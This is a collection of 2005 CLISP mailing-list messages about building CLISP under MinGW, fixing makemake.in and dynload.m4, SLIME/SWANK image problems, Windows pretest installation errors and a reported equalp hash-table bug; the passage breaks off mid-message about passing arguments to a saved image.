stream.o(.text+0x4af1):stream.c: undefined reference to `errno'
stream.o(.text+0x4b6c):stream.c: undefined reference to `_imp__libiconv'
stream.o(.text+0x4d69):stream.c: undefined reference to `errno'
stream.o(.text+0x4df9):stream.c: undefined reference to `_imp__libiconv'
stream.o(.text+0x4e01):stream.c: undefined reference to `errno'
stream.o(.text+0x4e7c):stream.c: undefined reference to `_imp__libiconv'
stream.o(.text+0x4eb8):stream.c: undefined reference to `_imp__libiconv'
stream.o(.text+0x4ec1):stream.c: undefined reference to `errno'
stream.o(.text+0x4ed8):stream.c: undefined reference to 
`_imp__libiconv_close'
stream.o(.text+0x4ef5):stream.c: undefined reference to 
`_imp__libiconv_close'
stream.o(.text+0x4f5d):stream.c: undefined reference to `errno'
stream.o(.text+0x50da):stream.c: undefined reference to `errno'
stream.o(.text+0x513d):stream.c: undefined reference to 
`_imp__libiconv_close'
stream.o(.text+0x5214):stream.c: undefined reference to `_imp__libiconv'
stream.o(.text+0x52bb):stream.c: undefined reference to 
`_imp__libiconv_close'
stream.o(.text+0x554b):stream.c: undefined reference to 
`_imp__libiconv_close'
stream.o(.text+0x5570):stream.c: undefined reference to 
`_imp__libiconv_close'
stream.o(.text+0x6f3a):stream.c: undefined reference to `_imp__libiconv'
stream.o(.text+0x6f83):stream.c: undefined reference to `errno'
stream.o(.text+0x8b8a):stream.c: undefined reference to `_imp__libiconv'
stream.o(.text+0x8be2):stream.c: undefined reference to `errno'
collect2: ld returned 1 exit status
make: *** [lisp.exe] Error 1

-- 
WBR, Yaroslav Kavenchuk.


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Hi,
>Using SLIME, I was able to load and compile koza.lisp.  Then I saved
>the result to a new image, koza.mem and changed clisp.bat to
[...]
>If I start SLIME instead, I get the endless
>*** - Program Stack Overflow. RESET

I have little experience with SLIME and no idea what causes this endless loop, but I remember some posting to the slime mailing list talking about problems with SWANK (the CL part of slime) in the server and restarting.

Maybe that note is old, but who knows?
Therefore, I'd recommend you try this:
a) now that you know how to build koza with SLIME, go into a bare clisp (non slime), load the compiled koza from there and save the image.
b) start SLIME with that image, loading swank anew for each session

Maybe that could work?
BTW, do you currently load swank in clisp in each session with the original clisp image or did you generate your own image with swank in it?

Regards,
	Jorg Hohle.



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   From: "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com>
   Date: Tue, 1 Mar 2005 13:52:48 +0100 

   Hi,
   >Using SLIME, I was able to load and compile koza.lisp.  Then I saved
   >the result to a new image, koza.mem and changed clisp.bat to
   [...]
   >If I start SLIME instead, I get the endless
   >*** - Program Stack Overflow. RESET

   I have little experience with SLIME and no idea what causes this endless loop, but I remember some posting to the slime mailing list talking about problems with SWANK (the CL part of slime) in the server and restarting.

   Maybe that note is old, but who knows?
   Therefore, I'd recommend you try this:
   a) now that you know how to build koza with SLIME, go into a bare clisp (non slime), load the compiled koza from there and save the image.
   b) start SLIME with that image, loading swank anew for each session

   Maybe that could work?
   BTW, do you currently load swank in clisp in each session with the original clisp image or did you generate your own image with swank in it?


The koza image does include swank now that I think about it, since I
built it via SLIME.  That indeed could be the problem.  I'll try a
rebuild.


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Yaroslav Kavenchuk:

> make: *** [lisp.exe] Error 1
>
I'm sorry.
I have forget to apply own patch for makemake.in (if it is necessary):

#########################################
$ diff -c -u makemake.in makemake.in.new
diff: conflicting specifications of output style
--- makemake.in Tue Mar  1 15:03:37 2005
+++ makemake.in.new     Tue Mar  1 15:02:45 2005
@@ -1532,7 +1532,17 @@
   fi
 fi
 if [ $TOS = win32 ] ; then
-  XCFLAGS=$XCFLAGS' -DNO_GETTEXT'
+  if [ "${with_gettext}" = no ]; then
+    XCFLAGS=$XCFLAGS' -DNO_GETTEXT'
+  else
+    if [ @USE_NLS@ = yes ] ; then
+      USE_GETTEXT=yes
+      LIBS='@LIBINTL@ '$LIBS
+      XCL_GETTEXTLIB=$XCL_GETTEXTLIB' locale'
+    else
+      XCFLAGS=$XCFLAGS' -DNO_GETTEXT'
+    fi
+  fi
 fi
 
 if test -z "$LIBSIGSEGV"; then
###############################################

but result same: forget "-liconv" and it is not known "errno" in `stream.c'.

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> * GP lisper <scu@pybhqqnapre.pbz> [2005-02-28 18:14:34 -0800]:
>
> The editbin program might help, if I knew where to get it.

google for it.
you _can_ get it (or an equivalent).

> Using SLIME, I was able to load and compile koza.lisp.

you probably mean "compile and load".

> with a load and compile of koza everytime I want to use it

you have to compile it just once, and then load the compiled (*.fas)
file(s)

I don't use swank, slime, koza &c, so I cannot say anything else.

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   From: "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com>
   Date: Tue, 1 Mar 2005 13:52:48 +0100 

   >Using SLIME, I was able to load and compile koza.lisp.  Then I saved
   >the result to a new image, koza.mem and changed clisp.bat to
   [...]
   >If I start SLIME instead, I get the endless
   >*** - Program Stack Overflow. RESET

   ...talking about problems with SWANK (the CL part of slime) in the server and restarting.

   Therefore, I'd recommend you try this:
   a) ...go into a bare clisp (non slime), load the compiled koza from there and save the image.


That was indeed the problem.  SWANK cannot be re-loaded and must be
kept out of the saved image (or you need to customize your slime
startup).  Thanks.



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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-03-01 10:46:26 +0200]:
>
> stream.o(.text+0x3e5c):stream.c: undefined reference to `errno'

fixed in the CVS head.

> stream.o(.text+0x3ecf):stream.c: undefined reference to
> _imp__libiconv_close'

for some reason "-liconv" is not in LIBS.
why?
what is LIBICONV in build/makemake?
it should be "-liconv" or something like that.

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> but result same: forget "-liconv" and it is not known "errno" in `stream.c'.

should be fixed in the CVS head.

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Sam Steingold:

> > but result same: forget "-liconv" and it is not known "errno" in 
> `stream.c'.
>
> should be fixed in the CVS head.
>
Yes, but...

CVS head (02.03.05)
./configure --with-mingw --build build-mingw
....
gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit 
-Wreturn-type  -Wno-sign-compare -O2 -fexpensive-optimizations -D_WIN32 
-DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -I. -x none spvw.o 
spvwtabf.o spvwtabs.o spvwtabo.o eval.o control.o encoding.o pathname.o 
stream.o socket.o io.o array.o hashtabl.o list.o package.o record.o 
weak.o sequence.o charstrg.o debug.o error.o misc.o time.o predtype.o 
symbol.o lisparit.o i18n.o foreign.o win32aux.o built.o ari80386.o 
modules.o -lintl libcharset.a libavcall.a libcallback.a  -luser32 
-lws2_32 -lole32 -loleaut32 -luuid -liconv -L/usr/local/lib -lsigsegv -o 
lisp.exe
stream.o(.text+0x7093):stream.c: undefined reference to `errno'
stream.o(.text+0x8d02):stream.c: undefined reference to `errno'
collect2: ld returned 1 exit status
make: *** [lisp.exe] Error 1

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Sam Steingold:

> > stream.o(.text+0x3e5c):stream.c: undefined reference to `errno'
>
> fixed in the CVS head.
>
clisp from CVS head.

./configure --with-debug --with-mingw --build build-g
....
gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit 
-Wreturn-type  -Wno-sign-compare -falign-functions=4 -D_WIN32 -g 
-DDEBUG_OS_ERROR -DDEBUG_SPVW -DDEBUG_BYTECODE -DSAFETY=3 -DUNICODE 
-DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -I. -x none spvw.o spvwtabf.o 
spvwtabs.o spvwtabo.o eval.o control.o encoding.o pathname.o stream.o 
socket.o io.o array.o hashtabl.o list.o package.o record.o weak.o 
sequence.o charstrg.o debug.o error.o misc.o time.o predtype.o symbol.o 
lisparit.o i18n.o foreign.o win32aux.o built.o ari80386.o modules.o 
-lintl libcharset.a libavcall.a libcallback.a  -luser32 -lws2_32 -lole32 
-loleaut32 -luuid -liconv -L/usr/local/lib -lsigsegv -o lisp.exe
stream.o(.text+0xc4ff): In function `oconv_unshift_output_unbuffered_':
C:/gnu/home/src/clisp/clisp/build-g/stream.d:5551: undefined reference 
to `errno'
stream.o(.text+0xf0e7): In function `oconv_unshift_output_buffered_':
C:/gnu/home/src/clisp/clisp/build-g/stream.d:6851: undefined reference 
to `errno'
collect2: ld returned 1 exit status
make: *** [lisp.exe] Error 1

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Sam Steingold:

>you need to modify src/m4/dynload.m4 to check for the w32 version of
>dlopen &c (i.e., LoadLibrary &c), and the fix src/spvw.d which uses
>dlopen().
>
>alternatively, you can wait for Bruno to convert everything to ltld (?)
>which is supposed to solve everything.

Not ltld - ltdl (in libtooll from mingw or gnuwin32).


modify src/m4/dynload.m4 probably so:
-------------------------------------
$ diff -u dynload.m4 dynload.m4.new 
--- dynload.m4  Thu Mar  3 11:30:41 2005
+++ dynload.m4.new      Thu Mar  3 11:33:55 2005
@@ -16,5 +16,11 @@
 if test "$ac_cv_header_dlfcn_h" = yes; then
   AC_SEARCH_LIBS(dlopen, dl)
   AC_CHECK_FUNCS(dlopen dlsym dlerror dlclose)
+else
+AC_CHECK_HEADERS(ltdl.h)
+if test "$ac_cv_header_ltdl_h" = yes; then
+  AC_SEARCH_LIBS(lt_dlopen, ltdl)
+  AC_CHECK_FUNCS(lt_dlopen lt_dlsym lt_dlerror lt_dlclose)
+fi
 fi
 ])


--------------------------------------
But really it is enough of it? :)
And where to redefine

	#define dlopen lt_dlopen
	...

if is ltdl.h instead of dlfcn.h?

P.S. Excuse for questions of the beginner.

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-03-03 11:05:24 +0200]:
>
> Sam Steingold:
>
>> > stream.o(.text+0x3e5c):stream.c: undefined reference to `errno'
>>
>> fixed in the CVS head.
>>
> clisp from CVS head.
>
> stream.o(.text+0xc4ff): In function `oconv_unshift_output_unbuffered_':
> C:/gnu/home/src/clisp/clisp/build-g/stream.d:5551: undefined reference
> to `errno'
> stream.o(.text+0xf0e7): In function `oconv_unshift_output_buffered_':
> C:/gnu/home/src/clisp/clisp/build-g/stream.d:6851: undefined reference
> to `errno'

Oops!
sorry.
fixed.

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>> configure options --with-mingw --with-dynamic-modules compatible?

they should be now - I ported DYNAMIC_MODULES to WIN32_NATIVE.

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clisp from CVS head

$ ./configure --with-debug --with-mingw --build build-debug
....
rm -f deprecated.lisp
ln ../src/deprecated.lisp deprecated.lisp
cp -p ../src/cfgwin32.lisp config.lisp
rm -f interpreted.mem
lisp.exe -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc -m 1400KW -x 
"(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit)) (ext::exit t)"
make: *** [interpreted.mem] Error 5

$ gdb --args lisp.exe -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc 
-m 1400KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit)) 
(ext::exit t)"
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Breakpoint 1 at 0x42477e: file eval.d, line 4931.
Breakpoint 2 at 0x4220f6: file eval.d, line 4014.
Breakpoint 3 at 0x41e9f9: file eval.d, line 2876.
Breakpoint 4 at 0x42629a: file eval.d, line 5899.
Breakpoint 5 at 0x409bee: file spvw_garcol.d, line 2422.
Hardware watchpoint 6: back_trace
Breakpoint 7 at 0x40c63a: file spvw.d, line 657.
Breakpoint 8 at 0x403722: file spvw.d, line 479.
Breakpoint 9 at 0x4037c6: file spvw.d, line 494.
Breakpoint 10 at 0x4d7ace: file error.d, line 348.
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Num Type           Disp Enb Address    What
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        xout fun
2   breakpoint     keep n   0x004220f6 in apply at eval.d:4014
        xout fun
3   breakpoint     keep n   0x0041e9f9 in eval at eval.d:2876
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        xout closure
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        zbacktrace
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Hi ---

  I found this two interesting cross-platform libraries. I don't know
it's of any interest to CLISP developers, but it claims to be portable
across Unixes and Windows (and OpenVMS, too).
  Disclaimer: I'm not affiliated to iMatrix, I just hope this helps
CLISP achieve maximum cross-platform functionality.

http://www.imatix.com/downloads.htm

 HTH.
 Cheers

 Henry Lenzi



"The SMT Kernel

The SMT (Simple Multi-Threading kernel) from iMatix is an add-on for
the Libero programming tool that lets you write portable
high-performance multithreaded programs based (..)

You can use the SMT kernel for:

    * Internet programming: where each connection is handled by one thread.
    * Real-time programming: where multilevel finite-state machines
work cooperatively.
    * GUI development: where events are collected from the GUI and
passed to threads for processing.

The SMT kernel's main features are:

    * 100% portability.
    * Strong object orientation.
    * Support for multiple FSM programs within one application.
    * Support for multiple threads within one FSM program.
    * Support for Internet protocols (TCP/IP, UDP/IP).
    * Based on Libero program development method.
    * Standard agents: http, file transfer, authorization, logging,
console, timing, socket i/o.
    * Unrestricted number of threads, queue sizes, etc. "
-------------------------------------------------------------------------------------------------

"The Standard Function Library

The SFL (Standard Function Library) from iMatix is a portable function
library for C/C++ programs. The SFL is the result of many years'
development, and is provided as Open Source software for the benefit
of the Internet community.

You may want to go straight to the Table of Contents. Also, this
documentation is available as a single compressed zip file or gzipped
tar file, suitable for printing.

The SFL is written in ANSI C and has been ported to MS-DOS, Windows,
OS/2, Linux and other UNIX systems (IBM AIX, SunOS, HP/UX, Solaris,
NetBSD, FreeBSD, SCO OpenServer, Digital UNIX) and Digital OpenVMS. It
comes with complete sources and documentation in HTML.

The SFL provides about 450 functions that cover these areas:

    * Compression, encryption, and encoding;
    * Datatype conversion and formatting;
    * Dates, times, and calendars;
    * Directory and environment access;
    * User and process groups;
    * Inverted bitmap indices;
    * Symbol tables;
    * Error message files;
    * Configuration files;
    * String manipulation and searching;
    * File access;
    * Internet socket access;
    * Internet programming (MIME, CGI);
    * SMTP (e-mail) access;
    * Server (batch) programming;
    * Program tracing. "


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Hi,

I guess this question was asked before I just couldn't
find an answer in archives.
I just install CLisp on my Windows system.
I created a run-clisp-prog.bat batch file that has
this commond in it:

C:\cygwin\lib\clisp\base\lisp.exe -M
"C:\cygwin\lib\clisp\base\lispinit.mem" -i %1

I associate open command for *.lisp extension with
run-clisp-prog.bat "%1".

Now, when I double click the file with *.lisp
extension the clisp interpreter opens with a error:

C:\dev\test\Lisp>C:\cygwin\lib\clisp\base\lisp.exe -M
"C:\cygwin\lib\clisp\base\
lispinit.mem" -i "C:\dev\test\Lisp\test3.lisp"
  i i i i i i i       ooooo    o        ooooooo  
ooooo   ooooo
  I I I I I I I      8     8   8           8     8    
o  8    8
  I  \ `+' /  I      8         8           8     8    
   8    8
   \  `-+-'  /       8         8           8     
ooooo   8oooo
    `-__|__-'        8         8           8          
8  8
        |            8     o   8           8     o    
8  8
  ------+------       ooooo    8oooooo  ooo8ooo  
ooooo   8

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Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam
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Copyright (c) Bruno Haible, Sam Steingold 1999-2000
Copyright (c) Sam Steingold, Bruno Haible 2001-2004


*** - PARSE-NAMESTRING: syntax error in filename
"C:\\dev\\test\\Lisp\\test3.lis
p" at position 2
Break 1 [1]>

Any help on how to fix it would be greatly
appreciated!

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> * Andrew Stebakov <nfgronxbi@lnubb.pbz> [2005-03-10 09:13:43 -0800]:
>
> find an answer in archives.
> I just install CLisp on my Windows system.
> I created a run-clisp-prog.bat batch file that has
> this commond in it:
>
> C:\cygwin\lib\clisp\base\lisp.exe -M
> "C:\cygwin\lib\clisp\base\lispinit.mem" -i %1

this is a cygwin version.
use the supplied driver cygwin/usr/bin/clisp instead of batch files.

(alternatively: use the native version).

>
> *** - PARSE-NAMESTRING: syntax error in filename
> "C:\\dev\\test\\Lisp\\test3.lis
> p" at position 2
> Break 1 [1]>

this is a cygwin version.  it does not understand woe32 pathnames.
use "/cygdrive/c/dev/test/lisp/test3.lisp" instead
or use the native version

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The latest MinGW compiler has a bug due to Windows' unfortunate
implementation of stat() that prevents use of include paths with
trailing slashes.
See:
https://sourceforge.net/tracker/index.php?func=detail&aid=1053052&group_id=2435&atid=102435
https://sourceforge.net/tracker/index.php?func=detail&aid=1114735&group_id=2435&atid=102435

As a result, the build (from CVS HEAD as of today) fails when building
modules. E.g.,
  ./configure --with-mingw --build build-ming
fails because clisp.h cannot be found when making i18n.

I have applied this patch to src/makemake.in that seems to
work around the problem, and I believe is compatible with other
platforms...

$ diff makemake~.in makemake.in
3245c3245
<   EVERY_INCLUDES_DOTS_C=$EVERY_INCLUDES_DOTS_C' $${dots}'$f
---
>   EVERY_INCLUDES_DOTS_C=$EVERY_INCLUDES_DOTS_C' $${dots}/'$f
3247c3247
< echotab "CLISP=\"${CLISP_}\" ; cd \$@ ; dots="'`'"echo \$@/ | sed -e 's,[^/][^/]*//*,../,g'"'`'" ; \$(MAKE) clisp-module CC=\"\$(CC)\" CPPFLAGS=\"\$(${MODULE_CPPFLAGS_VAR})\" CFLAGS=\"\$(${MODULE_CFLAGS_VAR})\" INCLUDES=\"\$\$dots\" LISPBIBL_INCLUDES=\"$EVERY_INCLUDES_DOTS_C\" CLFLAGS=\"\$(${MODULE_CLFLAGS_VAR})\" LIBS=\"\$(LIBS)\" RANLIB=\"\$(RANLIB)\" CLISP=\"\$\$CLISP -q\""
---
> echotab "CLISP=\"${CLISP_}\" ; cd \$@ ; dots="'`'"echo \$@/ | sed -e 's,[^/][^/]*//*,../,g' -e 's,/\$\$,,g'"'`'" ; \$(MAKE) clisp-module CC=\"\$(CC)\" CPPFLAGS=\"\$(${MODULE_CPPFLAGS_VAR})\" CFLAGS=\"\$(${MODULE_CFLAGS_VAR})\" INCLUDES=\"\$\$dots\" LISPBIBL_INCLUDES=\"$EVERY_INCLUDES_DOTS_C\" CLFLAGS=\"\$(${MODULE_CLFLAGS_VAR})\" LIBS=\"\$(LIBS)\" RANLIB=\"\$(RANLIB)\" CLISP=\"\$\$CLISP -q\""

Regards,

e




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> * Doug Currie <r@synibef.pbz> [2005-03-10 15:46:29 -0500]:
>
> The latest MinGW compiler has a bug due to Windows' unfortunate
> implementation of stat() that prevents use of include paths with
> trailing slashes.

thanks for the bug report.

> See:
> https://sourceforge.net/tracker/index.php?func=detail&aid=1053052&group_id=2435&atid=102435
> https://sourceforge.net/tracker/index.php?func=detail&aid=1114735&group_id=2435&atid=102435

it appears that mingw will have a workaround, right?

> $ diff makemake~.in makemake.in

next time, please use "-u" or at least "-c".

> 3245c3245
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> ---
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> 3247c3247
> < echotab "CLISP=\"${CLISP_}\" ; cd \$@ ; dots="'`'"echo \$@/ | sed -e 's,[^/][^/]*//*,../,g'"'`'" ; \$(MAKE) clisp-module CC=\"\$(CC)\" CPPFLAGS=\"\$(${MODULE_CPPFLAGS_VAR})\" CFLAGS=\"\$(${MODULE_CFLAGS_VAR})\" INCLUDES=\"\$\$dots\" LISPBIBL_INCLUDES=\"$EVERY_INCLUDES_DOTS_C\" CLFLAGS=\"\$(${MODULE_CLFLAGS_VAR})\" LIBS=\"\$(LIBS)\" RANLIB=\"\$(RANLIB)\" CLISP=\"\$\$CLISP -q\""
> ---
>> echotab "CLISP=\"${CLISP_}\" ; cd \$@ ; dots="'`'"echo \$@/ | sed -e 's,[^/][^/]*//*,../,g' -e 's,/\$\$,,g'"'`'" ; \$(MAKE) clisp-module CC=\"\$(CC)\" CPPFLAGS=\"\$(${MODULE_CPPFLAGS_VAR})\" CFLAGS=\"\$(${MODULE_CFLAGS_VAR})\" INCLUDES=\"\$\$dots\" LISPBIBL_INCLUDES=\"$EVERY_INCLUDES_DOTS_C\" CLFLAGS=\"\$(${MODULE_CLFLAGS_VAR})\" LIBS=\"\$(LIBS)\" RANLIB=\"\$(RANLIB)\" CLISP=\"\$\$CLISP -q\""

unfortunately, this is probably not really enough.
all the modules/*/Makefile.in have to be fixed...

thanks for the patch!

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please try woe32 pretest:
<http://www.podval.org/~sds/clisp/clisp-2.33.82-win32.zip>
<http://www.podval.org/~sds/clisp/NEWS>
<http://www.podval.org/~sds/clisp/impnotes/>

main attraction: MOP

specifically, please do test install.bat and clisp.exe

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Thursday, March 10, 2005, 6:01:47 PM, you wrote:

> please try woe32 pretest:
> <http://www.podval.org/~sds/clisp/clisp-2.33.82-win32.zip>
> <http://www.podval.org/~sds/clisp/NEWS>
> <http://www.podval.org/~sds/clisp/impnotes/>

> specifically, please do test install.bat and clisp.exe

Bad news...

C:\Dev\clisp\clisp-2.33.82>clisp.exe -K full -norc -C src\install.lisp
clisp.exe:
 * d:/gnu/clisp/current/build-O-mingw/full/lisp.exe
 * d:/gnu
 * [d:/gnu/clisp/current/build-O-mingw/full/lisp.exe -B d:/gnu/clisp/current/build-O-mingw -M d:/gnu/clisp
/current/build-O-mingw/full/lispinit.mem -N d:/gnu/clisp/current/build-O-mingw/locale -K full -norc -C src
\install.lisp]
 = Is a directory

C:\Dev\clisp\clisp-2.33.82>

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Doug Currie:

> The latest MinGW compiler has a bug due to Windows' unfortunate
> implementation of stat() that prevents use of include paths with
> trailing slashes.
<skip>

Many thanks!
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> * Doug Currie <r@synibef.pbz> [2005-03-10 18:58:09 -0500]:
>
> Thursday, March 10, 2005, 6:01:47 PM, you wrote:
>
>> please try woe32 pretest:
>> <http://www.podval.org/~sds/clisp/clisp-2.33.82-win32.zip>
>> <http://www.podval.org/~sds/clisp/NEWS>
>> <http://www.podval.org/~sds/clisp/impnotes/>
>
>> specifically, please do test install.bat and clisp.exe
>
> Bad news...

oops, sorry.

> C:\Dev\clisp\clisp-2.33.82>clisp.exe -K full -norc -C src\install.lisp
> clisp.exe:
>  * d:/gnu/clisp/current/build-O-mingw/full/lisp.exe
>  * d:/gnu
>  * [d:/gnu/clisp/current/build-O-mingw/full/lisp.exe -B d:/gnu/clisp/current/build-O-mingw -M d:/gnu/clisp
> /current/build-O-mingw/full/lispinit.mem -N d:/gnu/clisp/current/build-O-mingw/locale -K full -norc -C src
> \install.lisp]
>  = Is a directory
>
> C:\Dev\clisp\clisp-2.33.82>

please try again, same location.

thanks!

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Friday, March 11, 2005, 9:02:36 AM, Sam wrote:

>> * Doug Currie <r@synibef.pbz> [2005-03-10 18:58:09 -0500]:
>>
>> Bad news...

> oops, sorry.

>> C:\Dev\clisp\clisp-2.33.82>clisp.exe -K full -norc -C src\install.lisp
>> clisp.exe:
>>  * d:/gnu/clisp/current/build-O-mingw/full/lisp.exe
>>  * d:/gnu
>>  * [d:/gnu/clisp/current/build-O-mingw/full/lisp.exe -B
>> d:/gnu/clisp/current/build-O-mingw -M d:/gnu/clisp
>> /current/build-O-mingw/full/lispinit.mem -N
>> d:/gnu/clisp/current/build-O-mingw/locale -K full -norc -C src
>> \install.lisp]
>>  = Is a directory
>>
>> C:\Dev\clisp\clisp-2.33.82>

> please try again, same location.

OK, much better overall.

 clisp -K full

works (well, it can do the install tasks, and gives a prompt).

But,

 clisp -K base

or just double clicking on the clisp.exe in the distribution gives an
error dialog...

lisp.exe - Unable to Locate Component
This application has failed to start because cygcrypt-0.dll was not
found. Re-installing the application may fix this problem.


e




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Sam Steingold schrieb:

> specifically, please do test install.bat and clisp.exe

Download the testfile, unzip to c:\, run install.bat:
Dosbox opened, press 1x Space, 2x y, this is the copy&paste:

*************************************************************

+----------------------------------------------------------+
I this will install CLISP on your system,                  I
I associating file types FAS, MEM and LISP with CLISP.     I
I it will also create a shortcut to CLISP on your desktop. I
I               press C-c to abort                         I
+----------------------------------------------------------+
Weiter mit beliebiger Taste . . .

 * Installing CLISP to run from C:\clisp-2.33.82\
Use the `full' linking set? (y/n) y
Associate types <.lisp>, <.lsp>, <.cl>, <.fas>, <.mem>, with CLISP?
(y/n) y
associating CLISP with Lisp files under "HKEY_CLASSES_ROOT"
associating CLISP with FAS files under "HKEY_CLASSES_ROOT"
associating CLISP with MEM files under "HKEY_CLASSES_ROOT"
*** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the
file spec
ified.

Weiter mit beliebiger Taste . . .

**************************************************************

Next keypress (space) the dosbox closed.

Dobleklick on clisp.exe brings the error-message:

Die erforderliche DLL-Datei CYGCRYPT-0.DLL wurde nicht gefunden.

Hm.
Winzip creates the directory: clisp-2.33.82 on c:\
with 7 subfolders. No dll inside (Maybe this DLL can be included?).

Running on WIN98SE without Cygwin or anything like that. 



Doing what readme.de says leads to the Errormessage CYGCRYPT-0.DLL is
missing.
Test with c:\clisp-2.33.82\base\lisp.exe -M lispinit.mem 

The file in ~~\full\lisp.exe -M lispinit.mem brings up the Dosbox, the
openscreen and shows a prompt. Continuing what readme.de says the error
comes up:

**********************************************************

[1]> (without-package-lock () (compile-file "src/config.lisp") (load
"src/config
.fas"))

*** - nonexistent directory: #P"C:\\CLISP-2.33.82\\full\\src\\"
The following restarts are available:
ABORT          :R1      ABORT
Break 1 [2]>

**********************************************************

Looking in \src\config.lisp line 39-43 says:

**********************************************************

(defparameter *load-paths*
  '(#"C:"               ; the current directory on drive C:
    #"C:\\CLISP\\**\\") ; all subdirectories under C:\CLISP
  "The list of directories where programs are searched on LOAD etc.
if device and directory are unspecified:")

**********************************************************

So, rename the win-folder to cl23382 and edit the config.lisp to the
same folder-name and repeat all steps.
In config.lisp line 41 stands now:
    #"C:\\CL23382\\**\\") ; all subdirectories under C:\CL23382

**********************************************************

Break 1 [2]> :r1
[3]> (without-package-lock () (compile-file "src/config.lisp")(load
"src/config.
fas"))

*** - nonexistent directory: #P"C:\\CL23382\\full\\src\\"
The following restarts are available:
ABORT          :R1      ABORT
Break 1 [4]> :r1
[5]> (without-package-lock () (compile-file
"c:/cl23382/src/config.lisp") (load
"c:/cl23382/src/config.fas"))
;; Compiling file C:\cl23382\src\config.lisp ...
;; Wrote file C:\cl23382\src\config.fas
0 errors, 0 warnings
;; Loading file C:\cl23382\src\config.fas ...
;; Loaded file C:\cl23382\src\config.fas
T
[6]>

***********************************************************

Seems a problem with pathnames. See error below cl-step[3]> ...
*** - nonexistent directory: #P"C:\\CL23382\\full\\src\\"

Typing in the absolute pathname enables cl to find the config.lisp. 
Maybe readme.de line 81 and 82 needs an update or, as I saw :absolut key
in pathnames can do that? (not tested).

*************************

[6]> (saveinitmem)
1722896 ;
524288
[7]> (exit)

*************************

Creating the start.bat as readme says works fine. 

:) Congratulation to the new version and thank you for this work. 


stefan

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> Next keypress (space) the dosbox closed.
> Dobleklick on clisp.exe brings the error-message:
> Die erforderliche DLL-Datei CYGCRYPT-0.DLL wurde nicht gefunden.

I thought I've patched it. Obviosly my patch of 2005-01-10 isn't in
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> * lin8080 <yva8080@serrarg.qr> [2005-03-13 03:46:45 +0100]:
>
> Use the `full' linking set? (y/n) y
> Associate types <.lisp>, <.lsp>, <.cl>, <.fas>, <.mem>, with CLISP?
> (y/n) y
> associating CLISP with Lisp files under "HKEY_CLASSES_ROOT"
> associating CLISP with FAS files under "HKEY_CLASSES_ROOT"
> associating CLISP with MEM files under "HKEY_CLASSES_ROOT"
> *** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the
> file spec
> ified.

yuk.
please edit install.bat and replace "-C" with "-repl" in the "clisp.exe"
command line.
when you get this error, please type ":w" and see which specific
function call triggers this error.
thanks!

> Die erforderliche DLL-Datei CYGCRYPT-0.DLL wurde nicht gefunden.

thanks, fixed in the cvs.

> Doing what readme.de says leads to the Errormessage CYGCRYPT-0.DLL is
> missing.

you are no longer supposed to run "lisp.exe" by hand.
always use "clisp.exe".

readme.de is out of date.  see readme.en.
please send a patch to readme.de (and readme.es &c).

> Test with c:\clisp-2.33.82\base\lisp.exe -M lispinit.mem 
>
> The file in ~~\full\lisp.exe -M lispinit.mem brings up the Dosbox, the
> openscreen and shows a prompt. Continuing what readme.de says the error
> comes up:
>
> **********************************************************
>
> [1]> (without-package-lock () (compile-file "src/config.lisp") (load
> "src/config
> .fas"))
>
> *** - nonexistent directory: #P"C:\\CLISP-2.33.82\\full\\src\\"
> The following restarts are available:
> ABORT          :R1      ABORT
> Break 1 [2]>

you need this step only if you actually modified config.lisp.
it should be done in the top-level clisp directory (c:\clisp-2.33.82 in
your case), not the "full" subdirectory.

> Creating the start.bat as readme says works fine. 

you do not need any start.bat file.
use the shortcut to clisp.exe which install.bat creates.

> :) Congratulation to the new version and thank you for this work. 

thanks for the bug reports!

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Hi, 
I took a native clisp-2.33.1-win32.zip package and my 
*FEATURES* has:

(:CLOS :LOOP :COMPILER :CLISP :ANSI-CL :COMMON-LISP
:LISP=CL :INTERPRETER :SOCKETS :GENERIC-STREAMS
:LOGICAL-PATHNAMES :SCREEN :FFI :UNICODE
:BASE-CHAR=CHARACTER :PC386 :WIN32)

How to I add the regular expression support?

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> * Andrew Stebakov <nfgronxbi@lnubb.pbz> [2005-03-15 10:43:26 -0800]:
>
> I took a native clisp-2.33.1-win32.zip package and my 
> *FEATURES* has:
>
> (:CLOS :LOOP :COMPILER :CLISP :ANSI-CL :COMMON-LISP
> :LISP=CL :INTERPRETER :SOCKETS :GENERIC-STREAMS
> :LOGICAL-PATHNAMES :SCREEN :FFI :UNICODE
> :BASE-CHAR=CHARACTER :PC386 :WIN32)
>
> How to I add the regular expression support?

run as "full/lisp.exe -M full/lispinit.mem"

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Date: Wed Mar 16 10:27:15 2005
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I think I've found a bug which appears when a a class object
is used as a hashkey in an 'equalp hashtable.
 
For example:
(defclass x () ())
(gethash (find-class 'x) (make-hash-table :test 'equalp))
 
causes a program stack overflow & hangs, as will:
(gethash (find-class 'standard-class) (make-hash-table :test 'equalp))
 
whereas,
(gethash (make-instance 'x) (make-hash-table :test 'equalp))
and
(gethash (... create a struct...)  (make-hash-table :test 'equalp))
will complete without error.
 
I have seen this in the latest linux & windows versions (2.33.2-1 and 2.33.1).
 
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Date: Wed Mar 16 11:32:22 2005
X-Original-Date: Wed, 16 Mar 2005 20:12:46 +0100

Hello,

I created a saved image with an init function:
(ext:saveinitmem "pmm.mem" :quiet t :init-function 
#'production-memory-monitoring::init-function)

and I run it like proposed here:

Sam Steingold wrote:
>>How one can pass arguments to a saved image with a init-function?
> 
> 
> <http://clisp.cons.org/clisp.html#opt-exec-expr>
> 
> $ clisp -M image.mem "" my-arg1 my-arg2 my-arg3

actually like this:
/usr/bin/clisp -norc -M pmm.mem -- 
